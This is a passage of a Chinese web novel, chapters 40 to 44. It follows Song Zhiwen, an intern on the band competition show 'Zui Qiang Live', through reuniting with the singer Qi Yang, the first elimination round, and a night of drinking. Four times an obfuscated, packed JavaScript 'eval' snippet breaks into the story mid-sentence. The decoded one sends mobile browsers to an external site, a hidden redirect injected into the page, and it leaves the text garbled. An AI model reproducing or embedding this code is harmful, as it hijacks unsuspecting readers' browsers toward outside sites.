宋之雯鞠了一躬：“老师好。” “别别别，我可受不起啊，叫我耗子就好。”张浩摆摆手，又笑了起来，“实习生啊，这段时间可要辛苦你了。” “不辛苦，就当锻炼了。” “那你可锻炼得太多了，俗话说劝人学传媒天打雷劈。”张浩笑得更厉害了，背着相机就进去了。 王清妍嫌弃地看了一眼他：“他就那样，你别跟他一般见识。” 已经有几个守时的艺人到了，正在化妆间化妆做造型，张浩则和其他工作人员一起布置摄影棚。 宋之雯在路上正好和一个男的擦肩而过。那是个一米八几的壮汉，一身腱子肉，穿着一件破洞的渔网上衣，花臂纹身一览无遗。 她显然被吓到了，等男人走过去才从震惊中恢复过来。 王清妍安慰她：“艺术家嘛，有个性。别担心，我们播出后会打码的。” 话音未落，又有一个年轻的小伙子走过去，这个人染着金黄色的头发，发尾高高翘起，好像一个鸡窝。 这回宋之雯也学会了，等他消失在门后才竖起大拇指：“艺术家，有个性。” 王清妍嗤地笑出了声。 张浩从帘子里探出一个脑袋，说棚里布置好了，可以开始拍摄，于是一批批艺人就和流水线一样走进又走出。 慢着......这个鸡窝头怎么有点眼熟？ 宋之雯上前，试探着问：“你还记得我吗？” 郭卫想了好一会儿才想起来：“哦，我知道了，齐扬身后的小跟班嘛。” 宋之雯差点吐血。 “你的头发怎么回事？” “这个啊......”郭卫指了指自己的鸡窝头，干笑道，“造型需要，造型需要。” 忽然，有一个不属于他们的声音从后面传来：“好久不见啊，老同学。” 宋之雯回头，正对上齐扬深邃的眼睛。 40. 第四十章 陌生 两年不见，齐扬似乎真的变了，刘海剪短了，露出流畅的眉骨，整个人褪去了青涩，更锋利和有棱角了。 而齐扬看到宋之雯剪去了那一头漂亮的棕色长卷发，只简单扎了个马尾，穿着干净的白毛衣和牛仔裤，乖巧地站在那里。 郭卫惊讶地张大了嘴巴，反应了好一会儿才反应过来：“原来是你啊老对手，我说怎么那么熟悉呢，这次我可不会再输给你了。” 齐扬轻轻地“哼”了一声：“谁输谁赢还不一定呢。” 郭卫正要反驳，这时秦伊莲走过，轻轻拍拍他的肩膀：“准备拍摄了。” “好好好。”郭卫立马屁颠屁颠地跟过去了。 何瑜从齐扬背后走了出来，给了宋之雯一个拥抱：“你怎么在这里？” “我考上传媒的研究生了，有机会来香橙视频实习，正好跟这个项目。” 何瑜一脸骄傲地看着她：“那真是太好了，这几个月多关照了。” 吴衡探出头来：“是啊，我们费了九牛二虎之力才争取到上节目的机会，给我们透露点小道消息呗。” “去去去。”何瑜踢了他一脚，“我不喜欢胜之不武。” 宋之雯阻止了他们继续打闹，把他们领到了化妆间：“先化妆吧。” 这次为了照应“晨星乐队”的名字，造型师给他们搭配的衣服都是蓝色系的。吴衡是深蓝色的T恤和白色牛仔裤，叶琛是浅蓝色的破洞长袖，韦峰是水蓝色的夹克，何瑜是晴空蓝的皮裙，中间系了条棕色的腰带，突出她那姣好的身材。而齐扬则是藏蓝色的西装，边沿粘贴了银色的亮片，好像星河洒在上面。他的刘海也被完全撩起来，做了几处银色的挑染处理，把他完美的骨相展露得一览无遗。 宋之雯在旁边看着，渐渐有了实感。她意识到现在的齐扬已经是个成熟的艺人了，与学生时代笑着和她开玩笑的男孩完全不同。 这时张浩慌慌张张地跑进来，差点撞到王清妍：“王姐，现在本该是格律乐队拍摄的，可是他们迟迟不来，后面的艺人都等着呢。” “别急，我再打电话问问。”王清妍眉头紧蹙，熟练地拨了几个号码，放在耳边听了好一会儿，然后“呸”了一声，“不等了，让后面的艺人先拍。” “宋之雯。”王清妍转过来面对她，“你带晨星乐队去摄影棚。” 宋之雯点点头，带领五个人急匆匆地往摄影棚赶去。 摄影棚的景已经搭建了起来，同样也是星空的主题。到了摄影棚仿佛到了熟悉的领域，没等张浩指挥，他们五个人已经摆好了姿势等待开拍。 张浩又惊又喜，咔嚓咔嚓地按着快门。翻到试拍的照片的时候，他已经满意得不行：“你们的表现力真的太好了，女生好美，还有那个主唱你真的太上镜了，是目前我见过的最上镜的艺人。” 门外一阵骂骂咧咧的声音让张浩的笑容僵在了脸上。一个身材微胖，圆脸，满脸大胡子的男人掀开帘子进来：“不是我们乐队先拍的吗？怎么又让其他乐队拍了？懂不懂先来后到啊？” 宋之雯认出了这是格律乐队的主唱颜承宇，连忙上去解释：“不好意思啊老师，我们等了您很久了都没等到，没办法只好让其他艺人先拍了，后面还有很多艺人等着。” “我也不想晚到，可这飞机他妈的就是一直晚点，我都跟乘务员吵了一架了也没办法。”颜承宇急了，“我晚上还有音乐节呢，路又死远，得拍完了快点赶过去。” “您先别急。”宋之雯安抚他，“晨星乐队很快就拍完了，下一个就是你们。” “问题是我等不及了。”颜承宇朝她吹胡子瞪眼。 “这......”宋之雯有点为难，“我们景都搭好了，再拆掉也要时间的，您还不如先在旁边等一下。” “通融通融嘛妹妹，他们没什么事吧？那让有事的先来吧？”颜承宇没有丝毫要让步的意思。 宋之雯正要喊王清妍过来，却见齐扬不知道什么时候站在了她前面，和气地说：“没关系，反正我们接下来没什么事，你们先来，我们可以多等一会儿。” “谢谢你啊小伙子。”颜承宇重重地拍了一下他的肩膀，“够爽气。” 宋之雯只好回去和张浩沟通重新布景的事宜。张浩表示理解，比了个“OK”的手势，和工作人员拆除原来的景，搭起了新的景。 宋之雯去倒了杯温水，放在颜承宇面前：“老师您这么急匆匆地赶过来也累了，喝口水缓缓。” “谢谢。”颜承宇接过水喝了一口，翘着二郎腿看旁边的齐扬，“小伙子，你是唱什么的？” “摇滚的。” “那你可唱不过我，我唱了也有二十年了。” “您是什么时候来B市的，给我讲讲呗。” “那可说来话长了。”颜承宇一下子来了兴致，打开话匣子说个没完，两人就这么你一言我一语地聊了起来。 宋之雯下巴都快惊掉了。 直到张浩催促，颜承宇才想起来拍摄的事情，迅速拍完，开开心心地走了，并扬言要请齐扬吃饭。 等颜承宇消失在楼下后，张浩才耸了耸肩：“看吧，有些唱摇滚的脾气就是这么怪，要学会习惯。” 他又抱歉地看向齐扬他们：“不好意思让你们久等了。” “不麻烦不麻烦，你们也辛苦。”何瑜摆摆手，拎了几杯奶茶过来，给了宋之雯一杯，又给张浩一杯，“呐，请你们喝的。” 张浩笑得嘴都合不拢了：“谢谢美女。” 后面的拍摄就进行得异常顺利。 拍摄完毕后，齐扬向宋之雯招了招手：“你出来一下。” 其他四个人看到这样的情景，都识趣地散开。 宋之雯知道齐扬要干什么，这五个人中，她惟独就删了齐扬的微信。 果不其然，齐扬把她拉到一个角落里，打开手机二维码，似笑非笑地说：“加个微信吧老同学，以后方便工作联系。” “行。”宋之雯面无表情地扫了码，“不过有几点我要先申明一下。” “请说。”齐扬抬起眼，表示自己洗耳恭听。 “第一。”宋之雯伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如果把美梦都粉碎 就不用再感受伤悲 用尘灰填补空缺的软肋 如果爱本就不高贵 凭什么换来我狼狈面对 被摧毁的心在下坠 我明白爱情不是生活中的必备 可还是学不会去习惯事与愿违 与爱无关困住我的是我的不甘 可爱不该结束得那么不堪 谁不可替代爱自己才能终身浪漫 天空还会蓝下次我还会勇敢 她虽然很卖力地在唱，可还是敌不过跑调，歌声听起来十分怪异。 齐扬听到里面有动静，推门进去，看到台上的宋之雯，手倏忽停在了半空中，眼里有说不清道不明的情绪。 一曲完了，张浩的脸因为痛苦皱成了一团：“你真该听听回放，太他妈难听了。” 41. 第四十一章 竞争 “说真的宋之雯，你为什么一定要唱歌呢？”导播也好奇。 “没什么，就是突然想唱了。”宋之雯放下话筒走下台，“可以彩排了吧？” 工作人员比了个“OK”的手势。 宋之雯随即向门外的齐扬招了招手：“进来吧。” 出于保密的考虑，乐队的彩排都留着力，然而已经带给了宋之雯足够的震撼。每支乐队都有自己独特的风格，有重金属的也有小清新的，有热烈的也有抒情的，不敢想象正式演出会有多好看。 彩排完了之后已经凌晨了，宋之雯索性在就近的酒店睡下，等待第二天正式的录制。 《最强live》因为是一档全开麦不修音的乐队综艺，还是引起了外界很多的关注。从早晨开始就陆陆续续有粉丝在公司的大楼下等候，直到于川的保姆车停下的时候演化为排山倒海的尖叫。 于川下车微笑着和粉丝打招呼，和两年前宋之雯见到他时没什么区别，还是保养得那么好，那么年轻。 接下来是一些年轻的小乐队，粉丝逐渐失去了兴致，一部分有入场券的人开始检票进场。 宋之雯跟着王清妍来回跑维持秩序。活动策划部表面上是坐在办公室写写文案，实际上活动中鸡毛蒜皮的小事都要管，人手不够时还会被拉去剪辑摄影，宋之雯干下来才发现这真是个体力活。 中午十二点所有的人全部进场，造型甜美的主持人在核对台本，做最后的录制准备。这时宋之雯的手上被塞了一个箱子，让她给参赛选手抽出场顺序。 宋之雯低着头，尽量不让自己入镜，很忐忑地把箱子递到选手面前。 箱子里面是紫色的拨片，上面印着烫金的数字，抽到几就是几号。从第一个选手开始，表情精彩纷呈，抽到后面顺序的暗自庆幸，抽到前面的则懊恼地挠头。 于川的手气不错，抽到了29号，和认识的朋友一起拥抱庆祝。樊博宇则抽到了3号，整个人跟被雷劈了一样。 宋之雯走到齐扬面前的时候，齐扬推了推何瑜：“瑜姐，你抽吧，我手气臭。” 何瑜却把齐扬拉到了最前面：“你迟早是要抽的，别害怕，要勇敢面对。” 宋之雯差点没控制住笑出声来。 齐扬的手在箱子里翻天覆地地搅了好一会儿，才犹犹豫豫地捏住了一片，拿出来对着光仔细看。在看到数字的那一瞬间，他稍稍松了一口气。 还好，是20号。 所有选手都抽签完毕后，就去第二现场准备了。现场的灯光暗了下来，只留下了音乐节一般的硕大的黑色舞台，以及乐池中观众手环的点点蓝光。 这时屏幕开始倒计时，10、9、8...... 等数字显示为0的时候，灯光霎时间亮起来，主持人就在这暖黄的光影中走上台。 这次节目组请的主持是B市电视台的当家花旦谢季青，虽然只有二十出头，但无论是口条还是台风都很稳，前途不可限量。 谢季青扎着个丸子头，穿着条缀满花的粉色纱裙，笑容十分有亲和力，声音也脆脆的：“大家好，欢迎收看由B市电视台和香橙视频联合播出的大型乐队竞技节目《最强live》。我是主持人谢季青。” 观众都是喜欢看美女的，一句话刚落就拼命鼓掌。 谢季青有点不好意思地笑笑，不过神色还是马上恢复如常：“下面请允许我介绍节目的几位评委老师，著名音乐制作人涂龙，摇滚歌手孔尚、杨千帆和被称为忧郁诗人的程云山。” 几位评委都站起来和大家打招呼，风格都很鲜明。孔尚就是那天宋之雯看到的花臂男，程云山身材消瘦，留着长发，有种文弱的气质，杨千帆相反则非常有健康的力量美，小麦色皮肤，一头黄发，穿着很短的热裤，身材火辣。 “节目秉着还原真实的音乐现场，给观众带来最好的音乐体验的原则，邀请了共三十支乐队来参赛。请注意......”谢季青故意卖了个关子才说下去，“我们的音源除了消除现场的一些杂音外，其他一点不修。” 现场顿时议论纷纷。 “没想到传闻是真的，那愿意参加的乐队也是很有勇气的。” “是不是能见证车祸现场了？简直是扯下了乐队的最后一块遮羞布。” “这有点过了吧？专业歌手也不能保证现场百分之百唱准。” “你懂什么？要唱不好现场还能叫歌手吗？” 谢季青很巧妙地把这个话题圆了过去：“看来我们的乐队正面临着严峻的挑战啊，不过是挑战也是机会，下面先让我们的乐队和观众打个招呼吧。” 镜头切到了第二现场，挨个在乐队成员的脸上扫过，除了于川和颜承宇欢呼声大一点，其他观众一概不认识。 “下面介绍一下比赛规则，本阶段为乐队抢位赛。乐队可以选择自己最拿手的一首金曲演唱，唱完当场投票。票数一共由三部分组成，现场的200名观众每人一票，媒体人每人五票，评委每人十票，总数三百票。票数越多越靠前，最终决出十五支乐队进入下一阶段的比赛。” 在场的观众包括乐队都倒吸了一口凉气。 上来就要淘汰一半的人，这也太残忍了。 谢季青的笑容依旧甜美，仿佛底下的任何反应都对她没有影响：“所以每一次的比赛机会都很珍贵，必须拿出百分之百的力气来征服观众的耳朵，乐队们，加油吧！下面有请第一支乐队上台。” 舞台上的幕布缓缓降下，第一支乐队从升降台上上来。这看起来是个临时组合的大学生乐队，歌词写得很青涩，弹得也很不熟练。 观众开始窃窃私语：“就这？节目组请来的选手就这水平？” 涂龙的脸也黑了下来，在唱完之后很不客气地指出：“你有没有认真对待舞台？如果这样的舞台你都敷衍的话，那我劝你不要走这条路。” 主唱的眼里噙满了泪水，鞠了一躬就下去了。 后面一个的水平也是不行，观众唉声叹气，就在快要失去兴趣的时候，樊博宇上台了，造型让人眼前一亮。 他今天穿了一身棕黄色的西装，留了个狼尾，系着个发带， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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接下来的几个乐队唱的都是中规中矩的抒情歌，因此票数也平平，和樊博宇差不多。 直到郭卫的出现，观众又是一声惊呼，这造型就很独特，看着就有戏。 他们演唱的是麋鹿乐队的主打歌《迷雾森林》，由秦伊莲和声。开头就是空灵的弦乐，忽近忽远，让人捉摸不定，郭卫的歌声也像飘荡在空中。后面迷雾逐渐散去，声音渐渐清晰起来，伴奏也变成了加重的摇滚乐，如同猎人最后对准猎物的猎杀时刻。 观众一片叫好声，郭卫也骄傲地甩了甩头发，跟个求夸奖的孩子一样。 252票。麋鹿乐队以断崖式领先的成绩获得了暂时的第一。 赛程已经过半，意味着下面每多一支乐队演唱，就有一支乐队淘汰。 齐扬在第二现场已经坐了太久，手心都出了汗。他看着票数一路涨高，自己也不确定是不是能挤进这幸运的十五个人之内。 然而这时候导播却宣布录制暂停，中场休息一下。 42. 第四十二章 冒险 吴衡向后一仰，哀嚎道：“怎么还没到我们，要等到什么时候啊？” 叶琛拍拍他：“冷静点，就当多准备一会儿了。” 齐扬默不作声，打开手机开始复习歌词，无意间对上了郭卫的目光，对方仿佛在说“我看好你哦”。 齐扬用眼神回了一个“你给我等着”，接着把所有人拉拢过来开始讲待会儿比赛的舞台调度。 观众三三两两地坐在了地上，宋之雯穿梭其间给她们发小面包和矿泉水。现在已经到了晚上了，录制结束估计要凌晨，她很佩服那些能在音乐节站一天的人。 短暂地休整过后，录制继续。 第十六支乐队上场后，虽然发挥不算出色，但还是毫无悬念地挤掉了分最低的大学生乐队。主唱看到这个结果后，眼睛里充满了落寞，朝着各个方向都鞠了好几躬，才恋恋不舍地离开了。 比赛就是这么残酷，优胜劣汰每分每秒都在上演。 截止到晨星乐队上场前，已经淘汰掉了四支乐队。最末尾的乐队虽然明知希望不大，但还是双手合十开始祈祷。 齐扬领头，带着其他成员抄起一堆家伙，很有气势地走上了台。灯光亮起来时，宋之雯听到底下的观众发出一声惊呼。 “这是谁？不认识但是好帅啊。” “绝对是个有潜力的，我今天就买股了。” “除了主唱其他几个也是男帅女美，高颜值乐队啊。” 韦峰拿起鼓槌，重重地敲击了一下，随后又是更响亮的两声，伴随着他们整齐划一的口号：“大家好，我们是晨星乐队，问候在场各位了。” 这个开头，就足以让观众爆发出一阵欢呼：“好拽，我喜欢。” 齐扬低头，嘴唇贴近话筒，用蛊惑人心的声音说道：“下面给大家带来一首《冒险家》，请跟我一起走进这场冒险。” 今天他们穿的服装也很符合这个主题，都是白色的西装西裤，上面用各种色彩的颜料进行泼墨涂鸦，夸张又大胆。 当然还是有个别选手发出了疑问：“不唱他们的代表作《晨星》吗？” 但这个声音很快被音乐声淹没了。 灯光暗了下来，两侧的干冰缓缓喷出，把舞台营造成了一个仙境。旋律一开始也是沉静的、舒缓的，如同雨水滴落在地上的声音。 昨晚才下了一场雨 早晨阳光就撒了满地 冲散了林间的薄雾 带来一阵清甜的空气 沿着那条布满荆棘的小路 一步一步留下自己的足迹 几束黄色的暖光打下来，干冰逐渐散去，旋律也瞬间由沉静转为活泼。齐扬一个健步跃了起来，音调也骤然拔高。 我们是天才的冒险家 无论风霜雪雨都不害怕 困难我们把它踩在脚下 我们是任性的冒险家 不需要关心究竟去哪 只要现在立刻就出发 他不断重复着这几句话，身体随着音乐而律动，扑面而来的青春活力。观众也被他的热情所感染，高举着手臂，像跟在他背后浩浩荡荡的冒险队伍。 舞台转变为了彩色，再加上他们的那几套衣服，极具视觉冲击力。整个演播厅都蹦了起来，就连评委也不由自主地摆动了几下身体。 歌曲在欢快的旋律中结束，齐扬举起手臂，紧握着拳头，大声说了一句：“谢谢！” 观众回报以热情的掌声。 涂龙露出了赞许的笑容：“齐扬嘛，我是一步步看着长大的，两年前的大音赛我是评委，他是冠军，很高兴能看着你进步。不过我有个疑问，你们那么多的主打歌，为什么偏偏挑了一首冷门的《冒险家》？” 齐扬刚刚兴奋的神情逐渐淡了下去，转化为有点疏离的平静：“这首歌是我们大学时候创作的，当时的我们还怀着对未来美好的憧憬。这次上节目也是重新出发，尝试着一场冒险，希望能把这份冲劲带给大家。” 涂龙和旁边的程云山开始交头接耳：“程老师，你怎么看？” “没什么大的问题，歌词再润色一下就好了。”程云山说话和他的外表一样没有一丝波澜。 “我很喜欢，这应该是我目前为止最喜欢的一个表演了。”杨千帆激动地说，“扑面而来的灵气，坚持下去，前途一定不可限量。” 这话说到了所有成员的心坎里，他们对着杨千帆深深鞠了一躬。 “我很好奇，你这次来节目有什么目标吗？”谢季青把话筒递给了齐扬。 齐扬想都没想：“我来这个节目就是为了赢的。” 台下一片哗然，他们没想到他就这么直接地把自己的野心说了出来。 谢季青的眉头也动了一下，眼神带了点疑惑：“你确定？现在还没投票呢。” “根据刚刚老师的反馈来看，应该不会太差。” “好，那事不宜迟我们就赶紧投票吧，看看结果是否是我们所想的那样。”谢季青又恢复了标准的甜美笑容。 宋之雯觉得自己比齐扬还紧张，海口都已经夸下去了，要是成绩不太理想不是被人抓住把柄吗？果然过了两年还是死性不改，依旧没有变得成熟稳重。 好在晨星乐队的票数一路水涨船高，快要顶破天际，大家都期盼着这票数能不能超过麋鹿乐队。 249票，还是差了一点。 “有点可惜。”谢季青拍了拍手，给他们投去一个鼓励的眼神，“下次再努力。” 而齐扬盯着这个结果看了好久，显然有点不服气。 回到第二现场，郭卫主动上来和晨星乐队的成员握手：“不错啊，我就说赛前我看好你们的，可惜比起我还是差了一点。” 齐扬握住了他的手，把他拉过来，拍了拍他的背，在耳边说道：“这次是运气，下次你就未必能赢了。” 郭卫大笑起来，同样重重地拍了他一下：“可以啊，那我们就走着瞧。” 赛程进行到后半段，局势已经逐渐明朗，确定稳晋级的几支乐队已经开始坐在那里吃零食聊天。而樊博宇却十分紧张，因为他的乐队在十四名的位置，运气不好就掉出去了。 直到于川上场，才为疲惫的观众带来一点新鲜血液。 他身披一身白色的绸缎外套，袖子做成了汉服宽大的款式，甩起来格外轻灵，笑容依旧是那么温和儒雅。旁边的吉他手贝斯手鼓手也依旧保持着大家熟悉的模样，好像岁月没有在他们身上留下痕迹。 看到这身服装， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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果然飞花乐队的势头远远超过了晨星乐队，甚至把麋鹿乐队也反超了，大家只是想看看最后这个记录能到多高。 271票，史无前例。 于川对这个结果很满意，和队员们拉着手四处跟观众互动。 樊博宇痛苦地闭上了眼睛。 谢季青细心地注意到了他的情绪：“我们可以看到场上还有最后一支乐队没有表演，而目前位列第十五位的是Urban乐队。因此谁去谁留，这一战至关重要。” 到了最后的时刻了，观众反而格外有耐心，都屏住呼吸看着最后一支乐队上台。 最后一支乐队也是偏传统的摇滚，讲述北漂的经历。只是这类题材观众听了一晚上，都审美疲劳了，不过编曲和唱功都没有什么太大问题，和樊博宇不分伯仲。 第二现场表演完的乐队都围了过去，开始关心脸已经发白的樊博宇。 票数增长得很缓慢，不过还是和后面的乐队咬得很紧，在逐渐接近晋级目标的时候，它忽然停住不动了。 43. 第四十三章 真言 现场的观众都紧张地看着，眼睛都不敢眨一下，看这个票数还会不会重新起来。 没有悬念了，这就是最终的票数。 很巧的是，最后一支乐队是第十六名，而Urban乐队是第十五名。 樊博宇擦了几次眼睛，确认结果无误后，跳了起来，和队友抱在一起又哭又笑。 台上的乐队服气地摇头，略有遗憾地下去了。 至此，晋级的十五支乐队全部诞生，第一阶段的录制结束，开始清场。 于川主动走过去和齐扬握手：“又见面了，没想到你成长得这么快，后生可畏啊。” “没有没有。”齐扬低头握着他的手，谦虚地回应，“还得跟于老师多学习。” 两人又靠着聊了一会儿天。 宋之雯看了看手表，已经是凌晨两点，她的体力和耐心都到了极限，只想回酒店好好洗个热水澡睡一觉。 这时候颜承宇又嚷嚷了起来：“终于录完了，我从中午到现在饭都没吃，饿死我了。” “你再熬一熬，就能吃酒店的早饭了。”孔尚调侃他。 “谁要吃酒店的饭啊？都是一个快餐公司做出来的，难吃死了。” “唉，老颜，条件有限，忍忍吧。”孔尚走过去拍了拍他的肩膀。 宋之雯不禁皱了皱眉，这家酒店已经是节目组经过沟通，选的性价比最高的酒店了，还不满意？ “对了妹妹。”颜承宇看向宋之雯，“你对这里熟，附近有什么吃的推荐没有？” “您是南方人还是北方人？”宋之雯问。 “这还用问吗？当然是北方人了。”颜承宇不解。 “口味呢？偏重口味还是清淡？” “重口味的我都爱吃。” “下楼出门左转500米有一条商业街，那里的老地方川菜不错，还有东北大哥的烧烤，海鲜大排档。如果您不喜欢吃这些还可以继续往前走，那块地方有夜市，炸猪排烤面筋章鱼烧应有尽有，经常开到凌晨才下班。” 颜承宇被她噎住了，招呼他的那些兄弟过来：“行，我们过去看看。” “可以啊。”颜承宇走后，王清妍从门后走了出来，“你不过来了这么几天，怎么知道得那么多的？” “那天住酒店的时候，把附近都考察了一下。” “对的，跟活动呢，就是要细心点，把方方面面都考虑到。”王清妍拍了拍她的肩膀，“年前辛苦你了，过年好好休息，回来继续好好干。” 宋之雯惊喜地点头。 最后的工作由王清妍留下来善后，让宋之雯先回去了，她边做边和张浩交头接耳道：“我有预感，她应该会留下来很久。” 回酒店一觉睡到晚上后，宋之雯还不想那么快回家，便给林嘉和打了个电话约出来吃饭。 林嘉和很快就赶到了，碰面时很有默契地对她笑了一笑：“你也没回家？” “没呢。”宋之雯摇头，“我妈因为我瞒着她考研究生的事情还在跟我生气呢。” “看来都一样啊。”林嘉和感慨。 “你爸妈也不支持你读这个专业？” “是啊，回去了也是吵架。” 宋之雯像是找到了一个情绪的出口，提议道：“一起去喝一杯？” 两人往酒吧一条街走去，宋之雯凭借着自己记忆的位置找到了“jazz”酒吧：“这家我之前来过，老板娘人很好，有简餐可以吃，酒也好喝，不过不要点太烈的酒，容易上头。” “那请问什么是不烈的酒呢？”林嘉和问。 宋之雯看了一遍菜单：“大都会吧，应该不会像上次一样了。” “好，我就和你点一样的。” 不一会儿老板娘端着酒水餐食过来了，把东西一样一样仔细地放在他们面前，和蔼地笑笑。她大约三十五岁的年纪，烫着金色大波浪卷发，烈焰红唇，身材丰腴，可以想象更年轻的时候一定是个万人迷。 林嘉和拿起酒杯，和宋之雯碰了一下：“说说吧，你的实习怎么样？” “我见到齐扬了。” 林嘉和差点被呛到：“你不是开玩笑的吧？” “我说真的。”宋之雯生怕林嘉和不信，特意把每个字都咬得很重，紧接着她就把如何与齐扬重逢的过程和他说了一遍。 林嘉和的眼睛越瞪越大：“这也太巧了，你毕业之后和他还有联系吗？” “没有。” “那不就好了，你们就是纯粹的工作伙伴关系。话说你在工作上遇到什么困难没有？” 说到这宋之雯可打开了话匣子，滔滔不绝地把颜承宇的光辉事迹和他讲了一遍，精确到每个细节每一句话。 林嘉和听得直点头：“正常，你在社会上会碰到各种各样的人，要学会自洽地和他们共处。” “部长电视新闻做得怎么样了？” “可别提了。”林嘉和开始倒苦水，“新闻完全就是带着镣铐跳舞，每一个字、每一句话都要严格地遵循逻辑性和严谨性，差一点都要改。有时还要拉我去干翻译英文的苦力。” “我觉得是时候该干一杯了，部长。”宋之雯将酒杯举高，“庆祝我们都成为了社会的牛马。” “好，干了这杯，明天又是一条好汉。” 宋之雯将剩下的酒一饮而尽，看着空空的酒杯愣神：“这酒确实不醉人嘛，一点感觉都没有。” 她向老板娘招呼道：“老板娘，再来一杯。” 老板娘忍着笑给她端上来了新的酒：“小姑娘，你先别急，这酒劲还没上来呢。” 这个晚上宋之雯和林嘉和说了好多话，几乎把他们这几年的话都说完了，也记不清自己喝了几杯酒，只感觉头晕乎乎的，说话都开始大舌头。 齐扬推开酒吧的门时就看到这一幕，宋之雯喝得六亲不认地趴在桌上，还大声叫嚣着自己酒量很好还能喝。林嘉和无奈地在一旁看着她。 老板娘抬起眼皮看看他，又低下头做自己的工作了：“来了？” 齐扬点点头，径直往里面走去，皱了皱眉头：“怎么喝了这么多？” 老板娘耸耸肩：“她自己非要喝，我劝都劝不住，再说这也是一单生意嘛。” 齐扬不满地看了她一眼。 老板娘自知理亏，又补充一句：“你们认识？” “嗯，朋友。”齐扬拿起手在宋之雯眼前晃晃，“认得我是谁吗？” 宋之雯转过了身来，仰头对着他，半眯着眼，眼神在七彩的灯光下格外迷离，脸颊因为酒精的作用泛起了两团红晕。她扯着嘴角微笑着，不住地摇头：“不认识。” “不过……”她伸手一指，“有一点我可以确定，你就是个混蛋。” 说完，她的手就垂落了下来，整个人直接脸朝桌子倒了下去，得亏齐扬及时扶住，不然破相都有可能。 老板娘嗤地一声笑了出来，意味深长地看着他，大概是觉得他做了什么亏心事。 齐扬百口莫辩。 林嘉和还保留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922123|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着最后的一丝清醒：“我把她送回去吧。” 齐扬嫌弃地用手扇了扇他身上的酒味：“一个醉醺醺的男人扶着一个醉醺醺的女人，安不安全先不说，别人会怎么想？” “那你说怎么办？” “去我那边对付一晚吧。” 林嘉和疑惑地看着他：“你那边更不安全吧？” “不去拉倒。”齐扬越过他，朝老板娘伸出了手，“老板娘，车借一下。” 老板娘拿出一把钥匙递给他：“记得开回来。” 齐扬拦腰把宋之雯横抱了起来，她似乎瘦了不少，抱起来轻飘飘的。林嘉和不说话了，默默地帮他把宋之雯弄到副驾驶上。 齐扬打着方向盘，朝自己家的方向驶去。 这栋公寓是他录节目之后刚换的，在四环的一个新小区，所有的门要刷脸才能进，安保工作做得还是相当严密的。 齐扬把车停在地下车库，拉开车门抱起了宋之雯。林嘉和帮他关好车门，又按了电梯楼层。 期间宋之雯一直难受地哼哼，但没醒，果然是酒精的麻痹作用太强了。 齐扬的房子很小，只有一室一厅。他把宋之雯抱到唯一的一间卧室，轻手轻脚地给她脱掉鞋袜，又帮她把被子盖好。然后在外面打了个地铺，朝林嘉和做了个手势：“请。” 林嘉和没有抗议，自觉地去洗手间洗漱了。 齐扬这才有时间好好看宋之雯。 她整个人缩在被子里，胸口随呼吸起伏，只露出来一张小脸，从耳朵到脖子都透着粉色，好像熟透的苹果，真想咬一口。 齐扬被自己的念头吓到了，甩了甩头，猛地用冷水洗了把脸，然后卷起另一床被子去了沙发。 一夜相安无事。 宋之雯是被刺眼的阳光照醒的，只觉得自己头疼欲裂，整个人要分成两半一样，下意识地用手抓了一下床单，发现并不是自己熟悉的触感。 她这才看清屋内的陈设，惊出了一身冷汗。 完了，这是哪里？ 她先检查了一下自己的全身，确定衣服都整齐后，松了一口气。然后拼命回想昨天的细节。 自己是喝醉了，好像有人把自己送回来来着，是谁呢？之后就不记得了。 宋之雯强撑着坐了起来，一步一步挪到洗手台，开始刷牙洗脸。等她把脸擦干之后，已经清醒了大半，准备观察一下周围的环境。 屋内的陈设很简单，客厅里摆了一张小饭桌，紧靠着一米八的小沙发，上面还有团成一团的被褥，对面就是厨房。 齐扬听到门外有动静，转过身来靠着炉灶，似笑非笑地说：“你说说，这是第几次了？” “什么？”宋之雯没反应过来。 “不会喝酒就别喝。你昨天和林嘉和喝得四仰八叉的，我只能把你们弄到我的房子里，林嘉和今天早醒先走了。” 宋之雯的脸“噌”地烧了起来，她举起两根手指：“我对天发誓，一定戒酒，再也不乱喝了，给你添麻烦了，对不起。” “你也知道麻烦我了？”齐扬把一碗面放在桌上，“我这里没什么东西，凑合着吃点吧。” 面就是白水煮的清汤面，有点糊了，调料只加了点盐，中间飘着几颗青菜和一个煎蛋。宋之雯吃了几口，觉得胃里舒服多了，她便由衷地夸赞道：“面很好吃。” 齐扬点点头，宋之雯看出他并没有生气，放心了点。 吃完面，齐扬拿了车钥匙往外走去：“走吧，我送你回学校。” 44. 第四十四章 搞砸 宋之雯只好跟了上去，忐忑不安地坐上了副驾驶，系好安全带。 车平稳地行驶在路面上，宋之雯时不时偏过头观察齐扬的反应，想着自己该说点什么补救一下。 